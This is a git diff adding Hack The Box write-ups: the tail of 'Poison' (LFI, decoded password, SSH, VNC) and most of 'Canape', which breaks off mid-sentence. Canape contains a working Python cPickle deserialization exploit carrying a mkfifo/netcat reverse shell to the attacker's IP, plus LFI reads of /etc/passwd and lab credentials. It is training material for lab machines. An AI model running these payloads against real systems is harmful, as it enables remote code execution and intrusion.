NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT + Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz + WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW + VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO + Ukd4RVdub3dPVU5uUFQwSwo= + + +So here we have a password that has been encoded 13 times with base64 so let's decode it fairly easily: + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Poison] + → nano passwd + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Poison] + → cat passwd + Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU + bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS + bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW + M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs + WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy + eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G + WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw + MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa + T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k + WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk + WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0 + NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT + Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz + WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW + VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO + Ukd4RVdub3dPVU5uUFQwSwo= + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Poison] + → cat passwd |base64 -d|base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d + Charix!2#4%6&8(0 + + +And we have a password to work with ! Charix!2#4%6&8(0 + +Now let's check if there are any LFI Vulnerabilities with the browse.php file which we suspect there is : + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Poison] + → curl http://10.10.10.84/browse.php\?file\=../../../../../../../etc/passwd + # $FreeBSD: releng/11.1/etc/master.passwd 299365 2016-05-10 12:47:36Z bcr $ + # + root:*:0:0:Charlie &:/root:/bin/csh + toor:*:0:0:Bourne-again Superuser:/root: + daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin + operator:*:2:5:System &:/:/usr/sbin/nologin + bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin + tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin + kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin + games:*:7:13:Games pseudo-user:/:/usr/sbin/nologin + news:*:8:8:News Subsystem:/:/usr/sbin/nologin + man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin + sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin + smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin + mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin + bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin + unbound:*:59:59:Unbound DNS Resolver:/var/unbound:/usr/sbin/nologin + proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin + _pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin + _dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin + uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico + pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin + auditdistd:*:78:77:Auditdistd unprivileged user:/var/empty:/usr/sbin/nologin + www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin + _ypldap:*:160:160:YP LDAP unprivileged user:/var/empty:/usr/sbin/nologin + hast:*:845:845:HAST unprivileged user:/var/empty:/usr/sbin/nologin + nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin + _tss:*:601:601:TrouSerS user:/var/empty:/usr/sbin/nologin + messagebus:*:556:556:D-BUS Daemon User:/nonexistent:/usr/sbin/nologin + avahi:*:558:558:Avahi Daemon User:/nonexistent:/usr/sbin/nologin + cups:*:193:193:Cups Owner:/nonexistent:/usr/sbin/nologin + charix:*:1001:1001:charix:/home/charix:/bin/csh + + + +There is ! We also have the username charix to work with, so let's log onto the box via ssh: + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Poison] + → ssh charix@10.10.10.84 + The authenticity of host '10.10.10.84 (10.10.10.84)' cant be established. + ECDSA key fingerprint is SHA256:rhYtpHzkd9nBmOtN7+ft0JiVAu8qnywLb48Glz4jZ8c. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '10.10.10.84' (ECDSA) to the list of known hosts. + Password for charix@Poison: + Last login: Mon Mar 19 16:38:00 2018 from 10.10.14.4 + FreeBSD 11.1-RELEASE (GENERIC) #0 r321309: Fri Jul 21 02:08:28 UTC 2017 + + Welcome to FreeBSD! + + Release Notes, Errata: https://www.FreeBSD.org/releases/ + Security Advisories: https://www.FreeBSD.org/security/ + FreeBSD Handbook: https://www.FreeBSD.org/handbook/ + FreeBSD FAQ: https://www.FreeBSD.org/faq/ + Questions List: https://lists.FreeBSD.org/mailman/listinfo/freebsd-questions/ + FreeBSD Forums: https://forums.FreeBSD.org/ + + Documents installed with the system are in the /usr/local/share/doc/freebsd/ + directory, or can be installed later with: pkg install en-freebsd-doc + For other languages, replace "en" with a language code like de or fr. + + Show the version of FreeBSD installed: freebsd-version ; uname -a + Please include that output and any error messages when posting questions. + Introduction to manual pages: man man + FreeBSD directory layout: man hier + + Edit /etc/motd to change this login announcement. + To see the last 10 lines of a long file, use "tail filename". To see the + first 10 lines, use "head filename". + -- Dru + charix@Poison:~ % cat user.txt + eaXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to print out the user flag. + +## **Part 3 : Getting Root Access** + +Now in order to gain root access onto this box wefirst need to take a look around the charix user's home directory. + + + charix@Poison:~ % ls -lash + total 48 + 4 drwxr-x--- 2 charix charix 512B Mar 19 2018 . + 4 drwxr-xr-x 3 root wheel 512B Mar 19 2018 .. + 4 -rw-r----- 1 charix charix 1.0K Mar 19 2018 .cshrc + 0 -rw-rw---- 1 charix charix 0B Mar 19 2018 .history + 4 -rw-r----- 1 charix charix 254B Mar 19 2018 .login + 4 -rw-r----- 1 charix charix 163B Mar 19 2018 .login_conf + 4 -rw-r----- 1 charix charix 379B Mar 19 2018 .mail_aliases + 4 -rw-r----- 1 charix charix 336B Mar 19 2018 .mailrc + 4 -rw-r----- 1 charix charix 802B Mar 19 2018 .profile + 4 -rw-r----- 1 charix charix 281B Mar 19 2018 .rhosts + 4 -rw-r----- 1 charix charix 849B Mar 19 2018 .shrc + 4 -rw-r----- 1 root charix 166B Mar 19 2018 secret.zip + 4 -rw-r----- 1 root charix 33B Mar 19 2018 user.txt + + + +Here we see an interesting file secret.zip that we'll try to download locally: + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Poison] + → wget "http://10.10.10.84/browse.php?file=../../../../../../../home/charix/secret.zip" + --2020-03-16 14:23:51-- http://10.10.10.84/browse.php?file=../../../../../../../home/charix/secret.zip + Connecting to 10.10.10.84:80... connected. + HTTP request sent, awaiting response... 200 OK + Length: 423 [text/html] + Saving to: ‘browse.php?file=..%2F..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fcharix%2Fsecret.zip’ + + browse.php?file=..%2F..%2F..%2 100%[==================================================>] 423 --.-KB/s in 0s + + 2020-03-16 14:23:51 (28.1 MB/s) - ‘browse.php?file=..%2F..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fcharix%2Fsecret.zip’ saved [423/423] + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Poison] + → ls + 'browse.php?file=..%2F..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fcharix%2Fsecret.zip' nihilist.sh passwd + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Poison] + → cat browse.php\?file=..%2F..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fcharix%2Fsecret.zip + + + **Warning** : include(../../../../../../../home/charix/secret.zip): failed to open stream: Permission denied in **/usr/local/www/apache24/data/browse.php** on line **2** + + + + **Warning** : include(): Failed opening '../../../../../../../home/charix/secret.zip' for inclusion (include_path='.:/usr/local/www/apache24/data') in **/usr/local/www/apache24/data/browse.php** on line **2** + + + + +Although as you can imagine, we (the web user) are not the charix user ! Therefore we cannot access his directory in /home, so instead we'll use netcat which is available for us on the machine to get send it to us locally: + +_Terminal 1:_ + + + charix@Poison:~ % cat secret.zip | nc 10.10.14.10 9001 + + + +` _Terminal 2:_ + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Poison] + → nc -lvnp 9001 > secret.zip + Ncat: Version 7.80 ( https://nmap.org/ncat ) + Ncat: Listening on :::9001 + Ncat: Listening on 0.0.0.0:9001 + Ncat: Connection from 10.10.10.84. + Ncat: Connection from 10.10.10.84:54774. + ^C + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Poison] + → file secret.zip + secret.zip: Zip archive data, at least v2.0 to extract + + + +We unzip it with the password we found earlier ( Charix!2#4%6&8(0 ) : + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Poison] + → file secret.zip + secret.zip: Zip archive data, at least v2.0 to extract + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Poison] + → unzip secret.zip + Archive: secret.zip + [secret.zip] secret password: + extracting: secret + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Poison] + → cat secret + ��[|Ֆz! + + +secret seems to be an odd file, so we enumerate the box a little further, but from inside our ssh connection : + + + charix@Poison:~ % netstat -an + Active Internet connections (including servers) + Proto Recv-Q Send-Q Local Address Foreign Address (state) + tcp4 0 44 10.10.10.84.22 10.10.14.10.48110 ESTABLISHED + tcp4 0 0 127.0.0.1.25 *.* LISTEN + tcp4 0 0 *.80 *.* LISTEN + tcp6 0 0 *.80 *.* LISTEN + tcp4 0 0 *.22 *.* LISTEN + tcp6 0 0 *.22 *.* LISTEN + tcp4 0 0 127.0.0.1.5801 *.* LISTEN + tcp4 0 0 127.0.0.1.5901 *.* LISTEN + udp4 0 0 *.514 *.* + udp6 0 0 *.514 *.* + + +It looks like we have 2 ports : 5801 and 5901 listening on the localhost address, These 2 ports may show us that there is a VNC service for us to exploit, so we'll assume that secret is a crackable VPC password using vncpwd which gives us this password: + + + VNCP@$$! + + +Although these 2 ports are not available for us (remote attacker) we need to re-direct the traffic to us somehow. + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Poison] + → nc 10.10.10.84 5904 + Ncat: Connection refused. + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Poison] + → nc 10.10.10.84 5901 + Ncat: Connection refused. + + + +To do so we'll create a FIFO file inside /tmp to redirect , and forward the vnc connection to the correct port, To connect there, we'll use vncviewer to connect on port 5904 which is the fourth client: + +![](prg/24_003.png) + +And that's it ! we have been able to print out the root flag ! + +## **Conclusion** + +Here we can see the progress graph : + +![](img/24_graph.png) + diff --git a/Medium/25.md b/Medium/25.md new file mode 100644 index 0000000..f017cae --- /dev/null +++ b/Medium/25.md @@ -0,0 +1,584 @@ +# Canape Writeup + +![](img/25.png) + +## Introduction : + +Canape is a Medium linux box released back in April 2018. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.10/23 ] [~] + → nmap -F 10.10.10.70 --top-ports 10000 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-17 07:34 GMT + Nmap scan report for 10.10.10.70 + Host is up (0.094s latency). + Not shown: 8319 filtered ports + PORT STATE SERVICE + 80/tcp open http + + Nmap done: 1 IP address (1 host up) scanned in 26.21 seconds + + λ nihilist [ 10.10.14.10/23 ] [~] + → nmap -sCV -p80 10.10.10.70 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-17 07:35 GMT + Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn + Nmap done: 1 IP address (0 hosts up) scanned in 3.88 seconds + + λ nihilist [ 10.10.14.10/23 ] [~] + → nmap -sCV -p80 10.10.10.70 -Pn + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-17 07:35 GMT + Nmap scan report for 10.10.10.70 + Host is up. + + PORT STATE SERVICE VERSION + 80/tcp filtered http + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 2.88 seconds + + λ nihilist [ 10.10.14.5/23 ] [~/_HTB/Canape] + → nmap -sCV 10.10.10.70 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-17 08:42 GMT + Nmap scan report for 10.10.10.70 + Host is up (0.042s latency). + Not shown: 999 filtered ports + PORT STATE SERVICE VERSION + 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) + | http-git: + | 10.10.10.70:80/.git/ + | Git repository found! + | Repository description: Unnamed repository; edit this file 'description' to name the... + | Last commit message: final # Please enter the commit message for your changes. Li... + | Remotes: + |_ http://git.canape.htb/simpsons.git + |_http-server-header: Apache/2.4.18 (Ubuntu) + |_http-title: Simpsons Fan Site + |_http-trane-info: Problem with XML parsing of /evox/about + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 13.21 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan seems to have picked up port 80 running http, so let's investigate it : + +![](prg/25_001.png) + +Trying to dirsearch the website gives off quite strange results, since every request gives back a 200 status code, so our best bet at finding which really is a successful response is by looking at the size of the response we get most notably those that are not 3KB. Although after fiddling with it a bit, we see that even those that are AND are not 3KB are not even consistent in their responses, it really looks like an unstable webserver. + +![](prg/25_002.png) + +Although from this mess, we still see that we are dealing with a CouchDB website. Our nmap scan picked up a github repository in /.git/ aswell as a domain name : canape.htb with it's subdomain git.canape.htb so before we investigate all those, we add the correct line in our /etc/hosts file and use wfuzz to check what's going on with those 200 status codes: + + + λ root [ 10.10.14.11/23 ] [/home/nihilist] + → echo '10.10.10.70 canape.htb' >> /etc/hosts + + λ root [ 10.10.14.11/23 ] [/home/nihilist] + → ping canape.htb + PING canape.htb (10.10.10.70) 56(84) bytes of data. + 64 bytes from canape.htb (10.10.10.70): icmp_seq=1 ttl=63 time=65.3 ms + 64 bytes from canape.htb (10.10.10.70): icmp_seq=2 ttl=63 time=57.0 ms + ^C + + + +Now that we added it to our /etc/hosts file let's wfuzz the webservice: + + + λ nihilist [ 10.10.14.11/23 ] [~] + → wfuzz -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.70/FUZZ + + Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. + + ******************************************************** + * Wfuzz 2.4.5 - The Web Fuzzer * + ******************************************************** + + Target: http://10.10.10.70/FUZZ + Total requests: 220560 + + =================================================================== + ID Response Lines Word Chars Payload + =================================================================== + + 000000010: 200 82 L 237 W 3076 Ch "#" + 000000007: 200 82 L 237 W 3076 Ch "# license, visit http://creativecommons.org/lic + enses/by-sa/3.0/" + 000000004: 200 82 L 237 W 3076 Ch "#" + 000000005: 200 82 L 237 W 3076 Ch "# This work is licensed under the Creative Comm + ons" + 000000009: 200 82 L 237 W 3076 Ch "# Suite 300, San Francisco, California, 94105, + USA." + 000000006: 200 82 L 237 W 3076 Ch "# Attribution-Share Alike 3.0 License. To view + a copy of this" + 000000003: 200 82 L 237 W 3076 Ch "# Copyright 2007 James Fisher" + 000000002: 200 82 L 237 W 3076 Ch "#" + 000000008: 200 82 L 237 W 3076 Ch "# or send a letter to Creative Commons, 171 Sec + ond Street," + 000000001: 200 82 L 237 W 3076 Ch "# directory-list-2.3-medium.txt" + 000000012: 200 82 L 237 W 3076 Ch "# on atleast 2 different hosts" + 000000011: 200 82 L 237 W 3076 Ch "# Priority ordered case sensative list, where e + ntries were found" + 000000013: 200 82 L 237 W 3076 Ch "#" + 000000015: 200 0 L 1 W 52 Ch "index" + 000000016: 200 82 L 237 W 3076 Ch "images" + 000000014: 200 82 L 237 W 3076 Ch "" + 000000019: 200 82 L 237 W 3076 Ch "news" + 000000020: 200 0 L 1 W 227 Ch "crack" + 000000017: 200 82 L 237 W 3076 Ch "download" + 000000018: 200 82 L 237 W 3076 Ch "2006" + 000000022: 200 0 L 1 W 185 Ch "warez" + 000000023: 200 0 L 1 W 210 Ch "full" + 000000021: 200 82 L 237 W 3076 Ch "serial" + 000000024: 200 82 L 237 W 3076 Ch "12" + 000000025: 200 0 L 1 W 138 Ch "contact" + 000000027: 200 82 L 237 W 3076 Ch "search" + 000000028: 200 0 L 1 W 171 Ch "spacer" + 000000029: 200 0 L 1 W 193 Ch "privacy" + 000000026: 200 82 L 237 W 3076 Ch "about" + 000000030: 200 0 L 1 W 169 Ch "11" + 000000031: 200 0 L 1 W 73 Ch "logo" + 000000032: 200 82 L 237 W 3076 Ch "blog" + 000000033: 200 0 L 1 W 180 Ch "new" + 000000034: 200 82 L 237 W 3076 Ch "10" + 000000036: 200 82 L 237 W 3076 Ch "faq" + 000000037: 200 0 L 1 W 149 Ch "rss" + 000000038: 200 0 L 1 W 173 Ch "home" + 000000040: 200 0 L 1 W 185 Ch "default" + 000000039: 200 82 L 237 W 3076 Ch "img" + 000000035: 200 82 L 237 W 3076 Ch "cgi-bin" + 000000041: 200 0 L 1 W 197 Ch "2005" + 000000043: 200 0 L 1 W 116 Ch "sitemap" + 000000042: 200 82 L 237 W 3076 Ch "products" + 000000044: 200 82 L 237 W 3076 Ch "archives" + 000000045: 200 82 L 237 W 3076 Ch "1" + 000000047: 200 0 L 1 W 90 Ch "links" + 000000046: 200 82 L 237 W 3076 Ch "09" + 000000051: 200 82 L 237 W 3076 Ch "2" + 000000049: 200 0 L 1 W 233 Ch "08" + 000000050: 200 0 L 1 W 93 Ch "06" + 000000048: 200 82 L 237 W 3076 Ch "01" + 000000052: 200 0 L 1 W 193 Ch "07" + 000000053: 200 82 L 237 W 3076 Ch "login" + 000000054: 200 0 L 1 W 184 Ch "articles" + 000000055: 200 82 L 237 W 3076 Ch "support" + 000000057: 200 82 L 237 W 3076 Ch "keygen" + 000000058: 200 0 L 1 W 208 Ch "article" + 000000060: 200 82 L 237 W 3076 Ch "03" + 000000059: 200 82 L 237 W 3076 Ch "04" + 000000056: 200 82 L 237 W 3076 Ch "05" + 000000062: 200 0 L 1 W 233 Ch "events" + 000000061: 200 82 L 237 W 3076 Ch "help" + 000000063: 200 0 L 1 W 110 Ch "archive" + 000000064: 200 0 L 1 W 135 Ch "02" + 000000065: 200 0 L 1 W 89 Ch "register" + 000000067: 200 0 L 1 W 114 Ch "forum" + 000000066: 200 0 L 1 W 218 Ch "en" + 000000069: 200 82 L 237 W 3076 Ch "downloads" + 000000068: 200 82 L 237 W 3076 Ch "software" + 000000072: 200 0 L 1 W 161 Ch "13" + 000000073: 200 0 L 1 W 63 Ch "category" + 000000070: 200 0 L 1 W 123 Ch "3" + 000000071: 200 0 L 1 W 124 Ch "security" + 000000074: 200 0 L 1 W 99 Ch "4" + 000000076: 200 0 L 1 W 149 Ch "14" + ^C + + + +So we'll rule out the 1Word requests using the --hw flag (hide words): + + + λ nihilist [ 10.10.14.11/23 ] [~] + → wfuzz --hw 1 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.70/FUZZ + + +But we also see that we get 3076 characters, so let's change it accordingly using the --hh flag (hide characters): + + + λ nihilist [ 10.10.14.11/23 ] [~] + → wfuzz --hw 1 --hh 3076 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.70/FUZZ + + +While that runs we'll send a quote and intercept it with burp (foxyproxy + intercepter) and then send it to the repeater (CTRL+R) and go there (CTRL+SHIFT+R) + +![](prg/25_003.png) ![](prg/25_004.png) ![](prg/25_005.png) + +Once the request is saved we can start running another enumerating process in the background (here: wfuzz + sqlmap) ![](prg/25_006.png) + +So from here, we'll check the /check directory using burpsuite. Sqlmap returned that quote isn't injectable. Let's send the intercepted /check request to the repeater : + +![](prg/25_007.png) + +However after fuzzing around with /check a bit in burpsuite we get 405 errors : methods not allowed. + +Instead let's move over to the .git directory our nmap scan found earlier : + +![](prg/25_008.png) + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Canape] + → git clone http://git.canape.htb/simpsons.git + Cloning into 'simpsons'... + fatal: unable to access 'http://git.canape.htb/simpsons.git/': Could not resolve host: git.canape.htb + + +Now doing so gives us an error because we didn't add the correct line at the end of our /etc/hosts file , we need to add BOTH canape.htb and git.canape.htb + + + λ root [ 10.10.14.11/23 ] [nihilist/_HTB/Canape] + → nano /etc/hosts + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Canape] + → git clone http://git.canape.htb/simpsons.git + Cloning into 'simpsons'... + remote: Counting objects: 49, done. + remote: Compressing objects: 100% (47/47), done. + remote: Total 49 (delta 18), reused 0 (delta 0) + Unpacking objects: 100% (49/49), 163.16 KiB | 262.00 KiB/s, done. + + + +Once that's done, we git clone the repository and take a look into it for interesting files, beforehand you can cd into simpsons, and type in **git log** to know which commits have been done so let's do it and we see an interesting commit : + + + commit a389475a903520abba71a5c9b2fa0a15686c8fbb + Author: Homer Simpson <****homerj0121@outlook.com> + Date: Sat Jan 20 07:26:43 2018 -0800 + + trollface + + commit f9be9a9a7b217f67923ec22b360de313854b6ab6 + Author: Homer Simpson <****homerj0121@outlook.com> + Date: Mon Jan 15 18:48:16 2018 -0800 + + add note**commit c8a74a098a60aaea1af98945bd707a7eab0ff4b0** + Author: Homer Simpson <****homerj0121@outlook.com> + Date: Mon Jan 15 18:46:30 2018 -0800 + + temporarily hide check due to vulerability + : + +let's investigate the last commit (c8a74a098a60aaea1af98945bd707a7eab0ff4b0) which says something about a vulnerability : + + + λ nihilist [ 10.10.14.11/23 ] [_HTB/Canape/simpsons] at  master ✔ + → git diff c8a74a098a60aaea1af98945bd707a7eab0ff4b0 + + +So we run the aforementionned command, and we have a few interesting changes, most notably into /submit's submit python function : + +![](prg/25_009.png) + +Instead of sending the quote into cPickle, it goes into a file which is md5 hashed. So we're taking the character and quote user input from the http page whose characters are into the WHITELIST and they must be lowercase. which creates the ID by making a md5sum whose hex is going to be digested. + + + md5sum(char+quote) is equal to the p_id + + +So the idea here is to open a file whose pid consists of a md5sum of the username and the quote whose characters are in the whitelist, using the check webpage into which cPickle library functions are being called to load the data, so we know that we have a cPickle vulnerability. Essentially, cPickle is like a python serialization, and some things do not serialize well, and basically, cPickle calls a python function: + + + def __reduce__(self): + import os + return (os.system,(COMMAND,)) + + +In order to clean it up as it does pickling, The exploit is that we serialize a nu reduce call so that once cPickle calls the __reduce__ function it calls the code we just submitted. so let's create the exploit ourselves : + + + import cPickle + from hashlib import md5 + import requests + + class IppsecRocks(object): + def __reduce__(self): + return (os.system, ('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.11 1234 >/tmp/f',)) + + sc = cPickle.dumps(IppsecRocks()) # pickle up the IppsecRocks class, + print sc + + +Now that's the skeletton of our exploit, which contains the reverse shell one liner pointing at our port 1234, we pickle up the class itself, and we print it to see if it works. So let's test it : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Canape] + → python2 exploit.py + cposix + system + p1 + (S'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.11 1234 >/tmp/f' + p2 + tp3 + Rp4 + . + + +And it gets pickled correctly, so let's continue by following the code we found in our previous git diff cmd: we'll keep in mind that the box is going to md5sum both the character and the quote together, so we need to add an echo command WITHIN the pickle payload: + + + import cPickle + from hashlib import md5 + import requests + + class IppsecRocks(object): + def __reduce__(self): + return (os.system, ('echo homer!;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.11 1234 >/tmp/f',)) + + sc = cPickle.dumps(IppsecRocks()) # pickle up the IppsecRocks class, + #print sc + char,quote = sc.split("!") + + print "[+] ------ SPLITTING ------ [+]" + print char + print "[+] ------ STRING 2 ------- [+]" + print quote + + +Now whenever we print out this pickle, it will split it up into 2. So let's test it : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Canape] + → python2 exploit.py + [+] ------ SPLITTING ------ [+] + **cposix + system + p1 + (S'echo homer** + [+] ------ STRING 2 ------- [+] + ;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.11 1234 >/tmp/f' + p2 + tp3 + Rp4 + . + + + +So here you can see the CHARACTER highlighted, and below we'll have the actual QUOTE. + + + import os + import cPickle + from hashlib import md5 + import requests + + class IppsecRocks(object): + def __reduce__(self): + return (os.system, ('echo homer!;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.11 1234 >/tmp/f',)) + + sc = cPickle.dumps(IppsecRocks()) + char,quote = sc.split("!") + + p_id = md5(char+quote).hexdigest() + cPickle.loads(char+quote) + + + +So here we have our testing python script, we execute it and it gives us a reverse shell onto our local box (for testing purposes): + +![](prg/25_010.png) + +So that's successful, now let's modify it accordingly to send the request to both /submit (with the character and quote parameters that we infected) And then finally we send a request to /check to execute the pickle we sent: + +![](prg/25_011.png) + +And we get a reverse shell as www-data! however we do not have enough permissions to print out homer's user flag, so we need to privesc. First of all we will upgrade our reverse shell to a tty shell using python's pty.spawn() function: + + + $ python -c 'import pty;pty.spawn("/bin/bash")' + www-data@canape:/home$ ps -auxww + + +Looking at the results of this command, we see that we have couchdb running as root, and running as homer. so we enumerate the box further using netstat: + + + www-data@canape:/home$ netstat -alnp | grep LIST + netstat -alnp | grep LIST + (Not all processes could be identified, non-owned process info + will not be shown, you would have to be root to see it all.) + tcp 0 0 0.0.0.0:32859 0.0.0.0:* LISTEN - + tcp 0 0 0.0.0.0:65535 0.0.0.0:* LISTEN - + tcp 0 0 127.0.0.1:5984 0.0.0.0:* LISTEN - + tcp 0 0 127.0.0.1:5986 0.0.0.0:* LISTEN - + tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN - + tcp 0 0 0.0.0.0:4369 0.0.0.0:* LISTEN - + tcp6 0 0 :::65535 :::* LISTEN - + tcp6 0 0 :::4369 :::* LISTEN - + unix 2 [ ACC ] STREAM LISTENING 10727 - /run/systemd/journal/stdout + unix 2 [ ACC ] SEQPACKET LISTENING 10740 - /run/udev/control + unix 2 [ ACC ] STREAM LISTENING 10729 - /run/systemd/fsck.progress + unix 2 [ ACC ] STREAM LISTENING 28181 - /var/run/apache2/cgisock.1047 + unix 2 [ ACC ] STREAM LISTENING 13346 - /var/run/dbus/system_bus_socket + unix 2 [ ACC ] STREAM LISTENING 13347 - /run/uuidd/request + unix 2 [ ACC ] STREAM LISTENING 10722 - /run/systemd/private + + + +here we see that 5984 is the default port couchdb listens on. and we can verify that by using curl: + + + www-data@canape:/home$ which curl && which wget && which nc + which curl && which wget && which nc + /usr/bin/curl + /usr/bin/wget + /bin/nc + www-data@canape:/home$ curl 127.0.0.1:5984 + curl 127.0.0.1:5984 + {"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}} + + +So we google couchdb's api documentation quickly and we can enumerate the database further accordingly : + + + www-data@canape:/home$ curl 127.0.0.1:5984/_all_dbs/ + curl 127.0.0.1:5984/_all_dbs/ + ["_global_changes","_metadata","_replicator","_users","passwords","simpsons"] + + + +Using the /_all_dbs/ api call we see that it has 6 databases, from which we'll search _users and passwords : + + + www-data@canape:/home$ curl 127.0.0.1:5984/_users/_all_docs + curl 127.0.0.1:5984/_users/_all_docs + {"error":"unauthorized","reason":"You are not a server admin."} + www-data@canape:/home$ curl 127.0.0.1:5984/passwords/_all_docs + curl 127.0.0.1:5984/passwords/_all_docs + {"error":"unauthorized","reason":"You are not authorized to access this db."} + + +So we tried, but didn't go far. so since we are dealing with couchdb 2.0.0 there is 